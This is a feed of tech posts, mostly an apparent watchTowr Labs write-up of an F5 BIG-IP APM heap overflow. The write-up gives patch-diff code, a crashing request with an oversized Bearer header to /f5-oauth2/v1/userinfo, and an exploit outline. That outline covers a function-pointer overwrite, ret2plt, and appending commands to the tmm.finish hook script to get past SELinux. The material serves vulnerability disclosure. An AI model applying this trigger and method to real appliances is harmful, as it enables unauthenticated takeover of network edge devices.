#0

19 posts · Last used 9h

TIL you can nullfs mount a #ZFS snapshot. This could be particularly useful for making sure jail root filesystems are absolutely 100% immutable: hbsd-current-02[shawn]:/home/shawn $ uname -a FreeBSD hbsd-current-02 16.0-CURRENT FreeBSD 16.0-CURRENT #0 hardened/current/master-n196551-d4411c7c9cc3-dirty: Wed Sep 16 19:42:46 UTC 2026 shawn@hbsd-current-02:/usr/obj/usr/src/amd64.amd64/sys/HARDENEDBSD amd64 hbsd-current-02[shawn]:/home/shawn $ sudo mount -t nullfs /usr/ports/.zfs/snapshot/2026-07-24_before /mnt $ ls -l /usr/ports | head -n 5 total 3215 -rw-r--r-- 1 shawn shawn 149175 Oct 7 00:59 CHANGES -rw-r--r-- 1 shawn shawn 727 Apr 26 18:13 CONTRIBUTING.md -rw-r--r-- 1 shawn shawn 1412 Apr 26 18:13 COPYRIGHT -rw-r--r-- 1 shawn shawn 13370 Oct 1 18:46 GIDs hbsd-current-02[shawn]:/home/shawn $ mount | grep nullfs /usr/ports/.zfs/snapshot/2026-07-24_before on /mnt (nullfs, local) hbsd-current-02[shawn]:/home/shawn $ touch /mnt/blah touch: /mnt/blah: Read-only file system hbsd-current-02[shawn]:/home/shawn (1) $ echo ohai > /mnt/README zsh: read-only file system: /mnt/README #FreeBSD #HardenedBSD #infosec #OpenZFS
1
0
0
0

Is This A Joke? In The Auth Header? (F5 BIG-IP UnAuth Heap-Overflow to RCE CVE-2026-94127)

Well, well, well, well, well, well, well, well, well, well, well, well, well, well, well. We're back. Sorry.

We've been watching the onslaught of vulnerabilities flood the internet. Every man, dog, and their grandmas (apparently?) are now using LLMs to find and reproduce vulnerabilities - it’s a free-for-all (unless you’re trying to buy RAM).

Unfortunately, while we're all finding more vulnerabilities and flexing obfuscated stack traces… (or emoji-ridden HTTP requests that are actually complete slop and not real, and please, for the love of god, no, those slop-ridden payloads appearing in your access_log are not proof of exploitation jesus wept, it’s becoming traumatic) …on many social media networks, some things have remained reassuringly steadfast: the vendors and their struggle to seemingly care about the security of your network.

Yes, that’s right - it’s time for more Secure by Design jokes. Welcome back to another watchTowr Labs blog post.

We’ve missed you (admit you’ve missed us, please).

You’ve guessed it - we’re looking at F5’s BIG-IP solution today. What Is CVE-2026-94127, and How Does Refresh Have A CVE? Hah.

F5, the Seattle-based vendor quietly responsible for a worrying amount of the internet's plumbing, makes BIG-IP: an application delivery controller (ADC) that sits in front of your applications and decides where every request goes.

Beyond basic load balancing, a typical BIG-IP deployment handles Layer 4 and Layer 7 traffic management, SSL/TLS offloading, DNS and global server load balancing, and, depending on how many licenses procurement signed off on, a web application firewall (Advanced WAF) and a remote access and SSO gateway (APM).

All of this runs on F5's own TMOS operating system and is administered through a web-based Configuration Utility (TMUI) and the iControl REST API.

In other words, it lives at the very edge of your network, terminates your TLS, sees all of your traffic in plaintext, and holds the keys to your authentication.

But what is CVE-2026-94127?

As with all good stories, it began with a new KB ID. On Sept 22nd (yesterday), F5 published the following advisory:

Despite the talk about planes, there was no flying (see! you’ve missed this humor!).

The F5 official advisory (K000162605) lists the following versions as affected:

Product Branch Versions known to be vulnerable Fixes introduced in

BIG-IP APM 21.x 21.1.0 Hotfix-BIGIP-21.1.0.2.0.30.22-ENG.iso

BIG-IP APM 17.x 17.5.0 – 17.5.1 17.1.0 – 17.1.3 Hotfix-BIGIP-17.5.1.9.0.160.12-ENG.iso Hotfix-BIGIP-17.1.3.5.0.41.14-ENG.iso

BIG-IP (all other modules) All None Not applicable

BIG-IQ Centralized Management All None Not applicable

Better yet, the CWE assignment quickly caught our attention:

Even more scary, though: this wasn't just any vulnerability. There were bad people on the Internet exploiting it. We instantly had questions: How could they? Aren't these complex vulnerabilities? Are they geniuses?When is dinner?Setting The Scene To fuel our analysis today, we set up an F5 BIG-IP appliance with a virtual server with an OAuth profile configured, and compared the following versions following our normal ‘what the hell has changed’ process: Vulnerable: BIG-IP 21.1.0, build 0.0.38Different: BIG-IP 21.1.0.2, hotfix build 0.30.22Patch-Diffing Our Way Out Of Hell As with any other beautifully designed security product (cough Citrix cough), it seems the person of interest is yet another massive ELF file.

Yeeting these files straight into IDA, and starting our good old friend Diaphora, we were greeted with the excitement of exporting 1728 functions in each binary to subsequently compare.

An eternity (7 TikTok videos) later, Diaphora finished its comparison, and the patch was, as always, depressing:

--- unpatched/tmm64.pgo_use/sub_10B01C0.c +++ patched/tmm64.pgo_use/sub_10B0E00.c @@ -163,10 +160,20 @@ -LABEL_17:

  • if ( !v13 ) +LABEL_26:
  • if ( v20 > 0x4100 )
  • {
  • v15 = 5;
  • v26 = 29;
  • v27 = "Authorization header too big.";
  • if ( *(_DWORD *)(v5 + 616) )
  •  goto LABEL_19;
    
  • goto LABEL_30;
  • }
  • if ( !v20 ) { -LABEL_21:
  • v22 = *(_QWORD *)(v5 + 520);
  • goto LABEL_22; +LABEL_11:
  • v10 = *(_QWORD *)(v5 + 520);
  • goto LABEL_12; }
  • if ( sub_1527C00(v77, v84, v85, v8, v13, 0) == v13 )
  • if ( sub_152E2C0(v72, v81, v82, v8, v20, 0) == v20 )

If you squint, you can spot a clue. The jokes are so obvious we’ve actually had to pace ourselves to painstakingly stretch them across today’s drivel. Before We Make The Obvious Jokes Let’s actually walk through the patched code and make it painstakingly clear (more than it is already) how ridiculous this entire situation is:

__int64 __fastcall sub_1147D80(__int64 a1, unsigned __int64 a2, __int64 a3) {

[..SNIP..]

++*(_QWORD *)(qword_51F36C0 + 1352); a3 = *(_QWORD )(a1 + 48); if ( ((_WORD )(a3 - 8) & 0x3FFF) == 0 ) goto LABEL_68; ++(_QWORD )((_QWORD )(a3 + 320) + 592LL); if ( v7 ) ++(_QWORD *)(v7 + 592); a2 = 66; v8 = (char *)umalloc(0x4100, 66, 0); // [1] allocate a heap buffer of size 0x4100 if ( !v8 ) { v15 = 1; v26 = 30; v27 = "Out of memory for UserInfo req"; if ( *(_DWORD *)(v5 + 616) ) goto LABEL_19; goto LABEL_30; } if ( *(_WORD *)(v3 + 442) <= 0x1Du ) goto LABEL_11; v9 = *(_WORD *)(v3 + 502); if ( v9 == 0xFFFF ) goto LABEL_11; a3 = v9; if ( *(_WORD *)(v3 + 440) <= v9 ) goto LABEL_11; a2 = *(_QWORD *)(v3 + 428); a3 = v9 >> 4; v17 = *(_QWORD *)(a2 + 8 * a3) + 24LL * (v9 & 0xF); if ( !v17 ) goto LABEL_11; v18 = *(unsigned __int8 *)(v17 + 18); a3 = *(_DWORD )(v17 + 8) + (unsigned int)(unsigned __int16 *)(v17 + 16); v19 = *(_DWORD *)(v17 + 4) - a3; if ( v19 == v18 ) goto LABEL_11; v20 = (unsigned int)(v19 - v18); // [2] extract the Authorization header size v21 = *(_QWORD *)(v3 + 12); if ( v21 ) { v22 = *(_QWORD *)(v21 + 8) + *(unsigned __int16 *)(v21 + 6); v82 = *(_QWORD )(v3 + 12); v81 = v22; a3 = (unsigned int)((_DWORD *)v17 + a3); v23 = *(unsigned __int16 *)(v21 + 6); v24 = *(_QWORD )(v21 + 8); a2 = a3 + v22; if ( a2 >= v24 + v23 && a2 < (unsigned __int64)(unsigned __int16 *)(v21 + 4) + v23 + v24 ) { v81 = a2; goto LABEL_26; } } else { v81 = 0; v82 = 0; } a2 = (unsigned __int64)&v81; v25 = sub_15C4E80(v72, &v81); v15 = v25; if ( v25 != 18 && v25 ) { if ( *(_DWORD *)(v5 + 616) ) goto LABEL_19; v26 = 38; v27 = "Failed to lookup authorization header."; goto LABEL_30; } LABEL_26: if ( v20 > 0x4100 ) // [3] check the header size to not be more than 0x4100
{ v15 = 5; v26 = 29; v27 = "Authorization header too big."; // [4] error message if ( *(_DWORD *)(v5 + 616) ) goto LABEL_19; goto LABEL_30; } if ( !v20 ) { LABEL_11: v10 = *(_QWORD *)(v5 + 520); goto LABEL_12; }

// [5] copy the Authorization header value to the heap buffer which is v8 if ( memcpy_wrapper(v72, v81, v82, v8, v20, 0) == v20 ) { if ( v20 <= 6 || memcmp(v8, "Bearer ", 7u) ) { v13 = 43; v14 = "Authorization header must be of type Bearer"; LABEL_18: v15 = 4; sub_112F7C0(a1, v73, v5, 2, v14, v13); goto LABEL_19; }

[..SNIP..] At [1], a heap buffer of size 0x4100 is allocated using a umalloc call (let's just say it is a wrapper for malloc) and stored in the v8 variable.At [2], an object member is accessed, which we assume is the length of a provided Authorization: HTTP header, and stored in the v20 variable.At [3], this size variable is checked to be no more than 0x4100.At [4], if it is larger, an error is thrown.At [5], if not, the Authorization header value is copied into the heap buffer (v8). It is simple: before the patch, there was no size check before copying the value to the heap buffer, and now there is one.

To make it even simpler: the enterprise security appliance had a security vulnerability, grounded in a primitive from 20 years ago, specifically in how it handles security credentials.

Are we all being trolled? How Do We Trigger It? Now we understand what the vulnerability is, our next step is to actually trigger it and work out which season of The Truman Show we’re trapped within.

The advisory already mentions OAuth being in play here, and F5’s own documentation on OAuth has all the details we need.

First, the command to enable the Access Policy Manager (APM) OAuth profile:

The same page provides us with the HTTP endpoint we need to hit to trigger the OAuth flow (overwhelming evidence in the argument for security by obscurity):

So friendly.

We picked /f5-oauth2/v1/userinfo - but you guessed it, pick whatever you want. Triggering Trauma After configuring the OAuth profile, triggering it was as easy as sending the following request with an Authorization header larger than 0x4100 bytes:

GET /f5-oauth2/v1/userinfo HTTP/1.1 Host: bigip Authorization: Bearer AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... Connection: close

We immediately got a crash.

Oh, were you expecting the authentication boundary of your security appliance not to crash? Are you a moron?

As you can see below, ufree hit an assert while trying to dereference corrupted heap metadata:

rbx 0x30966e0 50947808 rcx 0x0 0 rdx 0x0 0 rsi 0x7feed66cd1c0 140663776399808 rdi 0x0 0 rbp 0x40000a150000 0x40000a150000 rsp 0x4000003fc880 0x4000003fc880 r8 0xa 10 r9 0x3442fac 54800300 r12 0x0 0 r13 0x5 5 r14 0x41414141 1094795585 r15 0x400004d62200 70368825319936 rip 0x16350b6 0x16350b6

#0 0x00000000016350b6 in ?? () #1 0x00000000016350d4 in tmm_assert () #2 0x000000000082be0a in ufree () #3 0x00000000010ba559 in ?? () #4 0x0000000000d5c35b in ?? () #5 0x0000000000dd8d33 in ?? () #6 0x0000000000858aee in ?? () #7 0x00000000008519c4 in ?? () #8 0x000000000084fc00 in ?? ()

We Were Shocked To find system-wide ASLR enabled. Even more surprisingly, and unlike some others (cough Citrix cough), on an F5 BIG-IP, there is no executable heap or stack.

Luckily for us, there is no PIE:

Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) FORTIFY: Enabled

At this point, we realized we had got lucky with the heap layout. In about 90% of our runs, an object with a function pointer member lands just past our buffer, at buffer + 0x4ff8.

Here is roughly how we guessed the object's members are laid out:

+0x00 callback function +0x08 other fields +0x10 other fields

And here is the code that calls the overwritten function pointer:

mov rdi, [rbx+18h] ; rdi = address of the heap object mov r9, [rdi] ; r9 = object->callback call r9 ; call the overwritten address

A bit of basic stack-pivoting gets the alignment and arguments into place, and from there it is a clean run of gadgets.

Our first idea was a classic ret2plt: chain a gadget to call execvp:

execvp( "/bin/sh", (char *[]) { "sh", "-c", "touch /watchTowr.txt", NULL } );

We actually built the gadget, but as always, the moment we let ourselves feel like we had achieved something, SELinux slapped us in the face and blocked the exec syscall:

-1, errno=13 (EACCES) :( Getting around SELinux While looking for a way around SELinux, we thought: what if we just write a file to disk and drop a web shell instead?

That plan was scuppered when we found the web server was also under SELinux.

So we started poking around further, monitoring processes, and noticed a Bash script that kept getting called every time our target process crashed:

bash /etc/bigstart/scripts/tmm.finish

A hook script? We decided to reuse the ret2plt, this time to append the command we wanted to run, to the hook script itself.

Here are the calls we make:

fd = open("/etc/bigstart/scripts/tmm.finish", O_WRONLY | O_APPEND); write(fd, "/usr/bin/touch /watchTowr.txt;", 30);

                    0:00
                    
                        /0:25
                    
                    
                    1×

It is 2026, AGI is here, and we are still writing overflow 101 vulnerability analyses.

0
0
0
0
I finally got a compatible device (Redmi Note 4 - 2017) Hardest part? Unlocking the bootloader. Because it’s Xiaomi. I have screenshots from the whole process, but that’s more of a thing for “mildly infuriating” community. Fun fact: Xiaomi doesn’t even allow installing APKs via ADB without Mi account… Why is it running plasma-desktop? It’s the first UI I tried. I’ve used it with a touchscreen before, and it worked well. I’ve also tried installing both plasma-mobile and plasma-desktop, but the configurations seem to clash. Also, when I use Android I always increase DP in developer settings to >600 which switches some UI elements to tablet mode. I prefer more things on the screen. plasma-mobile vs plasma-desktop Apples and oranges, yes, but I’ll compare them. I am allergic to apples, but not oranges. Wait, that’s not what I was talking about… Nice things in plasma-desktop Sleep works (dmesg reports s2idle). More powerful UI (proper desktop). Nice things in plasma-mobile Extra buttons in Konsole (tab, arrows, ctrl). Screen can be locked and turned off. Existing buttons on phone are automatically mapped to navigation in Plasma. Bad things about plasma-desktop Even if I set power button to “Turn of screen”, it immediately turns back on. Awful CLI experience without needed buttons. Bad things about plasma-mobile Sleep isn’t available as power option. systemctl suspend seems to properly put it into sleep based on kernel logs, but pressing button first time won’t do anything, while causing a reboot when pressed the second time. While phone’s buttons are mapped, I didn’t find a setting to hide on-screen buttons, so you just get each button twice. Running without modifying anything (aside from bootloader unlocking) I didn’t yet want to modify anything on the device, so I just flashed PostmarketOS to SD card. The device is then booted through a computer using fastboot boot with lk2nd bootloader image. Miscellaneous This section is just about me being dumb. I have no idea about what’s going on during the boot process. There’s 49 partitions on the internal storage, I don’t know what they’re all used for, nor how data is loaded from them. Partition table <> Device Start End Size Attrs Name 1 131072 303103 84M GUID:60 modem 2 393216 393217 1K fsc 3 393218 393233 8K ssd 4 393234 394257 512K sbl1 5 394258 395281 512K sbl1bak 6 395282 396305 512K rpm 7 396306 397329 512K rpmbak 8 397330 401425 2M tz 9 401426 405521 2M tzbak 10 405522 406033 256K devcfg 11 406034 406545 256K devcfgbak 12 406546 439313 16M dsp 13 439314 442385 1.5M modemst1 14 442386 445457 1.5M modemst2 15 524288 524351 32K GUID:60 DDR 16 524352 527423 1.5M GUID:60 fsg 17 527424 527455 16K GUID:60 sec 18 655360 677887 11M splash 19 786432 788479 1M GUID:60 aboot 20 788480 790527 1M GUID:60 abootbak 21 790528 921599 64M GUID:60 boot 22 921600 1052671 64M GUID:60 recovery 23 1052672 1054719 1M GUID:60 devinfo 24 1054720 7346175 3G GUID:60 system 25 7471104 7995391 256M cache 26 7995392 8060927 32M persist 27 8060928 8062975 1M misc 28 8062976 8063999 512K keystore 29 8064000 8064063 32K config 30 8064064 8588351 256M oem 31 8650752 8650815 32K GUID:60 limits 32 8781824 8782847 512K mota 33 8782848 8784895 1M dip 34 8784896 8850431 32M mdtp 35 8850432 8851455 512K syscfg 36 8851456 8859647 4M mcfg 37 8912896 8913151 128K GUID:60 lksecapp 38 8913152 8913407 128K GUID:60 lksecappbak 39 8913408 8913919 256K GUID:60 cmnlib 40 8913920 8914431 256K GUID:60 cmnlibbak 41 8914432 8914943 256K GUID:60 cmnlib64 42 8914944 8915455 256K GUID:60 cmnlib64bak 43 8915456 8915967 256K GUID:60 keymaster 44 8915968 8916479 256K GUID:60 keymasterbak 45 9043968 9044479 256K apdp 46 9044480 9044991 256K msadp 47 9044992 9045007 8K dpo 48 9045008 10748943 832M cust 49 10748944 122142686 53.1G userdata If I collected info correctly, BootROM loads whatever SBL is, which then loads whatever ABOOT is (which probably includes fastboot), which then decides what to load next (recovery, boot). But how? Does it look at the partition table for the names/UUID, or does it look for disk offsets? (There are suspicious holes between partitions.) If the former, I could re-partition it. If the latter, I’d be fucked. Anyway, when it comes to backups, I first erased cache and userdata (fastboot erase), booted TWRP, and cat the internal storage over ADB shell, storing it as a sparse file. It takes up just 3.3GiB. I also checksummed the storage and image file for verification. I also tried to extract the stock recovery into Android boot image without extra data after it. I don’t know how to determine the real size, so I used unpack_bootimg and mkbootimg to get the original image, rather than whole partition. The checksum of re-created boot image was different to original truncated partition image, but upon closer inspection with xxd and diff, this was just a difference in header: 00000010: 68c2 4f00 0000 0081 0000 0000 0000 f080 h.O....... | 00000010: 68c2 4f00 0000 0081 0000 0000 0000 0000 h.O....... But I found it might indeed be a good idea to just keep a full image backup. After a bunch of NULLs, there’s more data. file doesn’t recognize it, but running strings on it reveals readable text: California1 San Narciso1 Yoyodyne, Inc.1 Yoyodyne Mobility1 Yoyodyne1#0! yoyodyne@example.com0 Indeed, it seems this is a certificate: source.android.com/docs/core/ota/sign_builds#sign… Anyway, I am once again getting reminded it might be good to learn assembly (ARM in this case). The content of sbl1 and aboot seems to be an ELF, so I might be able to pop it into Ghdira, and try to figure out what it’s doing. Maybe. I don’t know, I have the most stupid of ideas usually.
1
6
0
0
Replying to
@VictoriaFerryRetroGeek@piaille.fr Negative bit number isn't necessarily incorrect. The CPU internally modulo the bit number by 32, even if negative. Thus, for example: btst #-32,d0 btst #-64,d0 btst #-96,d0 All those btst are entirely valid, and the same as btst #0,d0. The question is if the value is actually correct (even if negative). If it is not correct then this is a problem indeed.
0
0
0
0
Replying to

@Rairii@labyrinth.zone,

https://github.com/runZeroInc/vulns-2026-fatfs-chance/blob/main/02_CRITICAL.md#0-espressif-esp-idf--espressifesp-idf

Their write-up suggests that vulnerable external code trusts the file size from stat(), uses it in malloc(), then reads via read(), and read() fills more bytes than stat() reported.

The problem is: the mismatch between the reported file size and the readable data size is so common, so one must never use that stat()->malloc()->read() path.

A simple FAT corruption triggers that (the interrupted update chain is enough: the FAT records a longer cluster chain while a directory entry wasn't updated due to a power loss or a crash).

Even NTFS does that (the file size reported via readdir()-like calls can be different than the file size reported via the stat()-like calls).

0
0
0
0

почему я не могу подключиться к kremlin.ru? меня забанили кремлеботы?

kefir@desktop nixos$ curl -vL http://kremlin.ru

  • Host kremlin.ru:80 was resolved.
  • IPv6: (none)
  • IPv4: 95.173.136.71, 95.173.136.70, 95.173.136.72
  • Trying 95.173.136.71:80...
  • Established connection to kremlin.ru (95.173.136.71 port 80) from 192.168.1.114 port 49346
  • using HTTP/1.x

GET / HTTP/1.1 Host: kremlin.ru User-Agent: curl/8.17.0 Accept: /

  • Request completely sent off
  • Empty reply from server
  • shutting down connection #0 curl: (52) Empty reply from server
0
1
0
0
You've seen all posts